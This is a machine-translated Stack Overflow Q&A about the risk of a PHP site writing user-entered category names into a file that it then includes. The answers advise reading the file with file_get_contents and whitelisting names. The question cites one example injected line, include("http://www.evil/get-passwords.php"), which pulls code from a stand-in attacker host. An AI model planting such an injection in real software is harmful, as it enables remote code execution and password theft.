首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Php。用户可以在文件中写入数据,我将该文件包括在内

Php。用户可以在文件中写入数据,我将该文件包括在内
EN

Stack Overflow用户
提问于 2014-11-06 18:06:50
回答 2查看 46关注 0票数 0

用户在mysql中编写类别(nameurl)。

在每次写入/更改nameurl时,我还计划将其写入服务器上的txt或php文件中。在每个页面上使用aim重新加载,而不是连接到mysql,只是为了包含txt或php文件。

现在我想像一下一种情况。例如,用户作为类别的name写了一些include("http://www.evil/get-passwords.php");,所以在txt或php文件中,我可能有这样的代码,当包含在php中时,代码将执行吗?

如何防止出现这种情况?是否只允许某些字符用于类别名称?

EN

回答 2

Stack Overflow用户

发布于 2014-11-06 18:13:00

我根本不建议在这种情况下使用include。你可以看看http://php.net/manual/en/function.file-get-contents.php

使用file_get_contents可以避免脚本注入,因为它将文件作为纯字符串读取。

票数 3
EN

Stack Overflow用户

发布于 2014-11-06 18:13:58

您是否计划让用户写入.php文件?这不是一个好主意。

如果您确实需要这样做,让他们编写简单的.txt文件(并仔细检查apache不会将txt解析为php)。

对于清理,常见的方法是写一个允许的列表(白名单):

代码语言:javascript
复制
   $allowedName = array(
      'name1',
      'name2',
      'name3'
      // ...
   );

然后,当用户输入时,您可以检查它:

代码语言:javascript
复制
   if (!in_array($_POST['userName'], $allowedName))
     die('Not Allowed');
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/26776611

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档